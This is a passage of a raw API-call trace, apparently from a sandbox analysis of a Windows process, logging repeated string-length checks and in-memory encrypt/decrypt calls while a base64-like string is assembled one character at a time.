0x0 [0129.492] SysStringLen (param_1="YWM1") returned 0x8 [0129.492] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.492] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0129.492] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0129.492] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.492] SysStringLen (param_1="YWM1O") returned 0x8 [0129.492] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.493] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0129.493] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0129.493] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.493] SysStringLen (param_1="YWM1OT") returned 0x8 [0129.493] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.493] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0129.493] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0129.493] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.493] SysStringLen (param_1="YWM1OTE") returned 0x8 [0129.493] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.493] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0129.493] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0129.493] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.493] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0129.493] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.493] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0129.493] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0129.493] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0129.493] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0129.493] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.494] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0129.494] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.494] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0129.494] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0129.494] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.494] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0129.494] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.494] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0129.494] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0129.494] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.494] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0129.494] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.494] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0129.494] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0129.494] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.494] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0129.494] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.495] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0129.495] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0129.495] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.495] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0129.495] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.495] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0129.495] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0129.495] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.495] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0129.495] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.495] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0129.495] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0129.495] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.495] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0129.495] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.495] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0129.495] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0129.495] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.496] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0129.496] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.496] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0129.496] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0129.496] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0129.496] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0129.496] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.496] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0129.496] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.496] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0129.496] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0129.496] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.496] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0129.496] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.496] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0129.496] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0129.496] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.496] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0129.496] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.497] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0129.497] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0129.497] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.497] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0129.497] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.497] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0129.497] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0129.497] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.497] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0129.497] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.497] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0129.497] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0129.497] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.497] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0129.497] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.497] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0129.497] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0129.497] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.497] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0129.497] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.497] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0129.497] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0129.497] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.498] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0129.498] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.498] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0129.498] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0129.498] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0129.498] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0129.498] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.498] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0129.498] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.498] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0129.498] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0129.498] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.498] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0129.498] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.498] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0129.498] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0129.498] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.498] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0129.498] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.498] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0129.498] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0129.498] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.499] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0129.499] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.499] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0129.499] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0129.499] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.499] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0129.499] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.499] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0129.499] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0129.499] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.499] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0129.499] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.499] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0129.499] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0129.499] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.499] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0129.499] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.499] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0129.499] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0129.499] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.499] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0129.499] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.500] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0129.500] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0129.500] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0129.500] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0129.500] SystemFunction041 (in: Memory=0x42ec784, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x42ec784) returned 0x0 [0129.500] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0129.500] SystemFunction040 (in: Memory=0x42ec784, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x42ec784) returned 0x0 [0129.500] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0129.500] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0129.500] SystemFunction041 (in: Memory=0x42ec784, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x42ec784) returned 0x0 [0129.500] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0129.500] SystemFunction040 (in: Memory=0x42ec784, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x42ec784) returned 0x0 [0129.500] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0129.500] SysStringLen 